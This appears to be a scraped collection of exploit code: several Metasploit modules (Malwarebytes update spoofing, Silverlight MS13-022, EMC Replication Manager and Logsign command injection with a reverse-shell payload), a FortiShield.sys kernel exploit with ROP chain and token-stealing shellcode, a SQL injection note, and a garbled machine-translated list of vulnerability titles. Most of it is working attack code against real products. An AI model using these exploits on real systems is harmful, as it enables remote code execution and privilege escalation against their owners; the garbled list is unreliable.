# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # Would be Great except MBAE doesn't version check

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/
  EXE_REGEX     = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/
  NEXT_VERSION  = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the update functionality of
        Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
        Anti-Exploit consumer 1.03.1.1220.
        Due to the lack of proper update package validation, a man-in-the-middle
        (MITM) attacker could execute arbitrary code by spoofing the update server
        data-cdn.mbamupdates.com and uploading an executable. This module has
        been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yonathan Klijnsma',  # Vulnerability discovery and PoC
          'Gabor Seljan',       # Metasploit module
          'todb'                # Module refactoring
        ],
      'References'     =>
        [
          [ 'CVE', '2014-4936' ],
          [' OSVDB', '116050'],
          [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 16 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])
      ], self.class)

    # Vulnerable Malwarebytes clients do not allow altering these.
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def on_request_uri(cli, request)
    case request.uri
    when VERSION_REGEX
      serve_update_notice(cli) if set_exploit_target($1, request)
    when EXE_REGEX
      serve_exploit(cli)
    else
      vprint_status "Sending empty page for #{request.uri}"
      serve_default_response(cli)
    end
  end

  def serve_default_response(cli)
    send_response(cli, '')
  end

  def check_client_version(request)
    return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/
    this_version = $1
    next_version = NEXT_VERSION[:mbam]
    if
      Gem::Version.new(next_version) >= Gem::Version.new(this_version)
      return true
    else
      print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."
      return false
    end
  end

  def set_exploit_target(package, request)
    case package
    when /mbam/i
      if check_client_version(request)
        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]
      else
        serve_default_response(cli)
        return false
      end
    when /mbae/i
      # We don't get identifying info from MBAE
      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]
    end
  end

  def serve_update_notice(cli)
    software,next_version = @client_software
    print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."
    send_response(cli, next_version,
                  'Content-Type' => 'application/octet-stream'
                 )
  end

  def serve_exploit(cli)
    print_status "Sending payload EXE..."
    send_response(cli, generate_payload_exe,
                  'Content-Type' => 'application/x-msdos-program'
                 )
  end

end
            

1。 OAシステム

weaver-ecology-oa

PANWEI OA E-COLOGY RCE(CNVD-2019-32204) - バージョン7.0/8.0/8.1/9.0に影響

Panwei oa oa workflowcentertreedataインターフェイスインジェクション(限定オラクルデータベース)Panwei Ecology oa database configuration情報Panwei oa Cloud Bridge Arbitraryay File Reading-2018-2019 Panwei e-e-e-e-e-e-ecology oa front-end sql scl dection valnerability panwei oa system com.eweave.base.base.beartury keywordid sqlインジェクションの脆弱性panwei oa sysinterface/codeedit.jspページ任意のファイルをアップロードする

seeyon

ZHIYUAN OA-A8 HTMLOFFICESERVLET GETSHELL脆弱性Zhiyuan OAセッションリーク脆弱性

Zhiyuan oa a6 search_result.jsp sqlインジェクションの脆弱性zhiyuan oa a6 setextno.jsp sql indectl fulnection脆弱性zhiyuan oa a6リセットデータベースアカウントパスワードzhiyuan oa a8ユニバーサルパスワードzhiyuan oa fansoftレポートコンポーネントフロントエンドxxe脆弱性zhiyuan oa fansoftレポートコンポーネントリフレクティブxssssrf脆弱性thinks3:landgrey

lan ling oa

まだありません(上司がそれを提供できることを願っています)

Tongda oa

TONGDA OA ANY FILE DELETE FILEアップロードRCE分析(HW August 0day、2020)Tongda OA任意のファイルアップロード/ファイルにはGetShell Tongda OA11.5バージョンANY USER LOGINが含まれています

TONGDA OA 11.2背景ゲッシェトンダOA 11.7

Kingdee Oa

Kingdee Collaborative Office System GetShellの脆弱性

2。電子メール

Exchange

CVE-2020-17083 Microsoft Exchange Server Remotoft Codeの実行脆弱性Microsoft Exchange Remote Code実行可能性(CVE-2020-16875)

coremail

コアメール構成情報漏れとインターフェース不正な脆弱性コアメールストレージXSS脆弱性コレクションコアメール歴史的脆弱性

3。 Webミドルウェア

apache

APACHE SOLR RCE—覚えているme脱介入脆弱性(shiro-550)

Apache歴史的脆弱性コレクション

tomcat

Tomcat情報漏れとリモートコードの実行脆弱性[CVE-2017-12615/CVE-2017-12616] Tomcat GhostCat-AJP Protocol File Reading/File Conmpash GetShellCVE-2016-1240 Tomcat LocalPrivilege Elevation脆弱性Tomcat Historical Ulnerability Collection

weblogic

CVE-2020–14882 Weblogic Unauthorized Rceweblogic Remotic Command実行脆弱性分析(CVE-2019-2725)CVE-2019-2618 Arbitraryファイルアップロードアップロード脆弱性Weblogic Xmlgic Armitrary Armitrarize(CVE-2017-10271脆弱性(CVE-2019-2615)およびファイルアップロード脆弱性(CVE-2019-2618)WebLogic Coherence Component IIOP Deserialization脆弱性(CVE-2020-146444)

jboss

CVE-2017-7504-JBOSS JMXINVOKERSERVELT DASERIALIZATION JBOSS 5.X/6.X Deserialization脆弱性(CVE-2017-12149)JBOSS 4.X JBOSSMQ JMS Daserialization脆弱性(CVE-2017-7504)JBOSS CODE EXECUTION JBOST JBOST JBOST JBOST JBOST JBOST JBOST GetShelljboss Historicalの脆弱性コレクションへのアクセス

iv。ソースコード管理

gitlab

gitlab任意のファイル読み取り脆弱性

svn

SVNソースコードリーク脆弱性

5。プロジェクト管理システム

Zen Tao

CNVD-C-2020-121325 ZEN TAOオープンソースファイルアップロードZen Tao 9.1.2 SQL注入なしのログインZen Tao≤12.4.2背景管理者の条件GETSHEL条件826 Zenリモートコード実行の脆弱性Zen Tao 11.6任意のファイルを読む

Jira

Atlassian Jiraの脆弱性敏感な情報のホッジポッジ漏れワークベンチパス経由(CVE-2019-14994)によって引き起こされる漏れ脆弱性(CVE-2019-14994)JIRA不正なSSRF脆弱性(CVE-2019-8451) (CVE-2019-11581)CVE-2019-8449 JIRA情報漏れ脆弱性Jira Historical Ulbernerability Collection

vi。データベース

redis

Redisの概要未知のアクセス脆弱性エクスプロイトRedis 4.x rceredis Exploit Redis歴史的脆弱性コレクションを収集する

mysql

MySQL特権昇給(CVE-2016-6663、CVE-2016-6664の組み合わせ実践)MySQLデータベースの浸透と脆弱性の利用MYSQLの脆弱性MySQLの歴史的バージョンを注入するためのいくつかのゲッシェル方法のいくつかのゲッシェル方法

mssql

MSSQLは姿勢ソート(歴史上最も完全)を使用していますMSSQLデータベースコマンド実行概要MSSQLを使用してログインをシミュレートし、特権を増やし、MSSQLインジェクションスキルを使用してCLRアセンブリを使用してコマンドを実行します

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
  <Deployment.Parts>
    <AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
  </Deployment.Parts>
</Deployment>
  EOS

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",
      'Description'    => %q{
        This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on
        the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
        unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
        to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
        to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
        from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
        SP3 / Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw',   # RCE Vulnerability discovery
          'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
          'juan vazquez'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0074' ],
          [ 'CVE', '2013-3896' ],
          [ 'OSVDB', '91147' ],
          [ 'OSVDB', '98223' ],
          [ 'BID', '58327' ],
          [ 'BID', '62793' ],
          [ 'MSB', 'MS13-022' ],
          [ 'MSB', 'MS13-087' ],
          [ 'PACKETSTORM', '123731' ]
        ],
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'EXITFUNC'             => 'thread'
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => OperatingSystems::Match::WINDOWS,
          :ua_name     => Msf::HttpClients::IE,
          :silverlight => "true"
        },
      'Targets'        =>
        [
          [ 'Windows x86/x64', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 12 2013",
      'DefaultTarget'  => 0))

  end

  def setup
    @xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
    @dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
    @xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
    super
  end

  def exploit_template(cli, target_info)

    my_payload = get_payload(cli, target_info)

    # Align to 4 bytes the x86 payload
    while my_payload.length % 4 != 0
      my_payload = "\x90" + my_payload
    end

    my_payload = Rex::Text.encode_base64(my_payload)

    html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
  <title>Silverlight Application</title>
  <style type="text/css">
    html, body { height: 100%; overflow: auto; }
    body { padding: 0; margin: 0; }
    #form1 { height: 99%; }
    #silverlightControlHost { text-align:center; }
  </style>
</head>
<body>
  <form id="form1" runat="server" >
    <div id="silverlightControlHost">
    <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
      <param name="source" value="<%= @xap_name %>"/>
      <param name="background" value="white" />
      <param name="InitParams" value="payload=<%= my_payload %>" />
    </object>
    </div>
  </form>
</body>
</html>
EOF

    return html_template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    print_status("request: #{request.uri}")
    if request.uri =~ /#{@xap_name}$/
      print_status("Sending XAP...")
      send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /#{@dll_name}$/
      print_status("Sending DLL...")
      send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /AppManifest.xaml$/
      print_status("Sending XAML...")
      send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    else
      print_status("Sending HTML...")
      send_exploit_html(cli, exploit_template(cli, target_info))
    end
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC Replication Manager Command Execution',
      'Description'    => %q{
        This module exploits a remote command-injection vulnerability in EMC Replication Manager
        client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
        attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
        products are EMC Replication Manager < 5.3. This module has been successfully tested
        against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
        Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
        against these products.
      },
      'Author'         =>
        [
          'Unknown', #Initial discovery
          'Davy Douhine' #MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-0647' ],
          [ 'OSVDB', '70853' ],
          [ 'BID', '46235' ],
          [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
          [ 'ZDI', '11-061' ]
        ],
      'DisclosureDate' => 'Feb 07 2011',
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          # Tested on Windows XP and Windows 2003
          [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultOptions' =>
        {
          'WfsDelay' => 5
        },
      'DefaultTarget'  => 0,
      'Privileged'     => true
      ))

    register_options(
      [
        Opt::RPORT(6542)
      ], self.class)
  end

  def exploit
    execute_cmdstager({:linemax => 5000})
  end

  def execute_command(cmd, opts)
    connect
    hello = "1HELLOEMC00000000000000000000000"
    vprint_status("Sending hello...")
    sock.put(hello)
    result = sock.get_once || ''
    if result =~ /RAWHELLO/
      vprint_good("Expected hello response")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to hello the server")
    end

    start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
    vprint_status("Starting session...")
    sock.put(start_session)
    result = sock.get_once || ''
    if result =~ /EMC/
      vprint_good("A session has been created. Good.")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to create the session")
    end

    run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
    run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
    run_prog << "<ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" "
    run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter"  IR_groupName="CM1109A1"  IR_groupId="1" "
    run_prog << "><?xml version="1.0" encoding="UTF-8"?	> <ir_message ir_sessionId="00000" "
    run_prog << "ir_requestId="00000"ir_type="App Info" ir_status="0"><aa_anywriter_ccr_node>CM1109A1"
    run_prog << "</aa_anywriter_ccr_node><aa_anywriter_fail_1018>0</aa_anywriter_fail_1018><aa_anywriter_fail_1019>0"
    run_prog << "</aa_anywriter_fail_1019><aa_anywriter_fail_1022>0</aa_anywriter_fail_1022><aa_anywriter_runeseutil>1"
    run_prog << "</aa_anywriter_runeseutil><aa_anywriter_ccr_role>2</aa_anywriter_ccr_role><aa_anywriter_prescript>"
    run_prog << "</aa_anywriter_prescript><aa_anywriter_postscript></aa_anywriter_postscript><aa_anywriter_backuptype>1"
    run_prog << "</aa_anywriter_backuptype><aa_anywriter_fail_447>0</aa_anywriter_fail_447><aa_anywriter_fail_448>0"
    run_prog << "</aa_anywriter_fail_448><aa_exchange_ignore_all>0</aa_exchange_ignore_all><aa_anywriter_sthread_eseutil>0&amp"
    run_prog << ";lt;/aa_anywriter_sthread_eseutil><aa_anywriter_required_logs>0</aa_anywriter_required_logs><aa_anywriter_required_logs_path"
    run_prog << "></aa_anywriter_required_logs_path><aa_anywriter_throttle>1</aa_anywriter_throttle><aa_anywriter_throttle_ios>300"
    run_prog << "</aa_anywriter_throttle_ios><aa_anywriter_throttle_dur>1000</aa_anywriter_throttle_dur><aa_backup_username>"
    run_prog << "</aa_backup_username><aa_backup_password></aa_backup_password><aa_exchange_checksince>1335208339"
    run_prog << "</aa_exchange_checksince> </ir_message></IR_groupEntry> </ir_message></ir_runProgramAppInfo>"
    run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
    run_prog_header = "EMC_Len000000"
    run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog

    vprint_status("Executing command....")
    sock.put(run_prog_packet)
    sock.get_once(-1, 1)

    end_string = Rex::Text.rand_text_alpha(rand(10)+32)
    sock.put(end_string)
    sock.get_once(-1, 1)
    disconnect

  end
end
            
/*
Check these out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on:
- Windows 10 Pro x86 1703/1709
- ntoskrnl.exe: 10.0.16299.309
- FortiShield.sys: 5.2.3.633
Compile:
- i686-w64-mingw32-g++ forticlient_win10_x86.cpp -o forticlient_win10_x86.exe -m32 -lpsapi
 
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
and m00 to @g0tmi1k <3
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

DWORD get_pxe_address_32(DWORD address) {

	DWORD result = address >> 9;
	result = result | 0xC0000000;
	result = result & 0xC07FFFF8;
	return result;
}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (strcmp(szDrivers, drvname) == 0) {
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

int find_gadget(HMODULE lpFileName, unsigned char search_opcode[], int opcode_size) {

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)lpFileName;
    if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[!] Invalid file.\n");
        exit(1);
    }

    //Offset of NT Header is found at 0x3c location in DOS header specified by e_lfanew
    //Get the Base of NT Header(PE Header)  = dosHeader + RVA address of PE header
    PIMAGE_NT_HEADERS ntHeader;
    ntHeader = (PIMAGE_NT_HEADERS)((ULONGLONG)(dosHeader) + (dosHeader->e_lfanew));
    if(ntHeader->Signature != IMAGE_NT_SIGNATURE){
        printf("[!] Invalid PE Signature.\n");
        exit(1);
    }

    //Info about Optional Header
    IMAGE_OPTIONAL_HEADER opHeader;
    opHeader = ntHeader->OptionalHeader;

    unsigned char *ntoskrnl_buffer = (unsigned char *)malloc(opHeader.SizeOfCode);
    SIZE_T size_read;

    //ULONGLONG ntoskrnl_code_base = (ULONGLONG)lpFileName + opHeader.BaseOfCode;
    BOOL rpm = ReadProcessMemory(GetCurrentProcess(), lpFileName, ntoskrnl_buffer, opHeader.SizeOfCode, &size_read);
    if (rpm == 0) {
        printf("[!] Error while calling ReadProcessMemory: %d\n", GetLastError());
        exit(1);
    }

    int j;
    int z;
    DWORD gadget_offset = 0;

    for (j = 0; j < opHeader.SizeOfCode; j++) {
        unsigned char *gadget = (unsigned char *)malloc(opcode_size);
        memset(gadget, 0x00, opcode_size);
        for (z = 0; z < opcode_size; z++) {
            gadget[z] = ntoskrnl_buffer[j - z];
        }

        int comparison;
        comparison = memcmp(search_opcode, gadget, opcode_size);
        if (comparison == 0) {
            gadget_offset = j - (opcode_size - 1);
        }
    }

    if (gadget_offset == 0) {
        printf("[!] Error while retrieving the gadget, exiting.\n");
        exit(1);
    }
    return gadget_offset;
}

LPVOID allocate_shellcode(LPVOID nt, DWORD fortishield_callback, DWORD fortishield_restore, DWORD pte_result, HMODULE lpFileName) {

    HANDLE pid;
    pid = GetCurrentProcess();
    DWORD shellcode_address = 0x22ffe000;
    LPVOID allocate_shellcode;
    allocate_shellcode = VirtualAlloc((LPVOID *)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocate_shellcode == NULL) {
        printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
        exit(1);
    }


    /** Windows 10 1703 ROPS
    DWORD rop_01 = (DWORD)nt + 0x002fe484;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0002bbef;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x000f8d49;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x000e8a46;
    DWORD rop_08 = 0x2300d1b8;
    **/

    /** Windows 10 1709 ROPS **/
    DWORD rop_01 = (DWORD)nt + 0x0002a8c8;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0003a3a3;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x0008da19;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x001333ce;
    DWORD rop_08 = 0x2300d1b8;

    char token_steal[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                         "\x8b\x84\x24\xa0\x00\x00\x00\x31"
                         "\xc9\x89\x08\x31\xc0\x64\x8b\x80"
                         "\x24\x01\x00\x00\x8b\x80\x80\x00"
                         "\x00\x00\x89\xc1\x8b\x80\xb8\x00"
                         "\x00\x00\x2d\xb8\x00\x00\x00\x83"
                         "\xb8\xb4\x00\x00\x00\x04\x75\xec"
                         "\x8b\x90\xfc\x00\x00\x00\x89\x91"
                         "\xfc\x00\x00\x00\x89\xf8\x83\xe8"
                         "\x20\x50\x8b\x84\x24\xa8\x00\x00"
                         "\x00\x5c\x89\x04\x24\x89\xfd\x81"
                         "\xc5\x04\x04\x00\x00\xc2\x04\x00";

    char *shellcode;
    DWORD shellcode_size = 0x12000;
    shellcode = (char *)malloc(shellcode_size);
    memset(shellcode, 0x41, shellcode_size);
    memcpy(shellcode + 0x2000, &rop_01, 0x04);
    memcpy(shellcode + 0xf18f, &rop_02, 0x04);
    memcpy(shellcode + 0xf193, &rop_03, 0x04);
    memcpy(shellcode + 0xf197, &rop_04, 0x04);
    memcpy(shellcode + 0xf19b, &rop_05, 0x04);
    memcpy(shellcode + 0xf19f, &rop_06, 0x04);
    memcpy(shellcode + 0xf1a3, &rop_07, 0x04);
    memcpy(shellcode + 0xf1af, &rop_08, 0x04);
    memcpy(shellcode + 0xf1b8, &token_steal, sizeof(token_steal));
    memcpy(shellcode + 0xf253, &fortishield_callback, 0x04);
    memcpy(shellcode + 0xf257, &fortishield_restore, 0x04);


    BOOL WPMresult;
    SIZE_T written;
    WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
    if (WPMresult == 0)
    {
        printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Memory allocated at: %p\n", allocate_shellcode);
    return allocate_shellcode;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

    HMODULE ntoskrnl = LoadLibrary((LPCSTR)"C:\\Windows\\System32\\ntoskrnl.exe");
    if (ntoskrnl == NULL) {
        printf("[!] Error while loading ntoskrnl: %d\n", GetLastError());
        exit(1);
    }

    LPVOID nt = GetBaseAddr((char *)"ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr((char *)"FortiShield.sys");

	DWORD va_pte = get_pxe_address_32(0x2300d000);
	DWORD pivot = (DWORD)nt + 0x0009b8eb;
	DWORD fortishield_callback = (DWORD)fortishield_base + 0xba70;
	DWORD fortishield_restore = (DWORD)fortishield_base + 0x1e95;

	printf("[+] KERNEL found at: %llx\n", (DWORD)nt);
	printf("[+] FortiShield.sys found at: %llx\n", (DWORD)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

    LPVOID shellcode_allocation;
    shellcode_allocation = allocate_shellcode(nt, fortishield_callback, fortishield_restore, va_pte, ntoskrnl);

	DWORD IoControlCode = 0x220028;
	DWORD InputBuffer = pivot;
	DWORD InputBufferLength = 0x4;
	DWORD OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

    //DebugBreak();

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	trigger_callback();

    system("start cmd.exe");

	return 0;
}
            
# # # # #
# Exploit Title: Real Estate Property Pro Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/php-property-portal-script
# Demo: http://realpro.phpscriptsdemo.com/
# Version: Pro
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/adsearch.html?&prc_min=[SQL]&prc_max=[SQL]
# Etc...
# # # # #
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Logsign Remote Command Injection',
      'Description'    => %q{
        This module exploits an command injection vulnerability in Logsign.
        By exploiting this vulnerability, unauthenticated users can execute
        arbitrary code under the root user.

        Logsign has a publicly accessible endpoint. That endpoint takes a user
        input and then use it during operating system command execution without
        proper validation.

        This module was tested against 4.4.2 and 4.4.137 versions.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
        ],
      'Privileged'      => true,
      'Platform'        => ['python'],
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  =>
        {
          'payload' => 'python/meterpreter/reverse_tcp'
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Feb 26 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )

    if res && res.body.include?('{"message": "success", "success": true}')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Delivering payload...")

    p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )
  end
end
            
/*
Check this out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on: 
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")

ULONGLONG get_pxe_address_64(ULONGLONG address) {

	ULONGLONG result = address >> 9;
	result = result | 0xFFFFF68000000000;
	result = result & 0xFFFFF6FFFFFFFFF8;
	return result;

}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {

		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
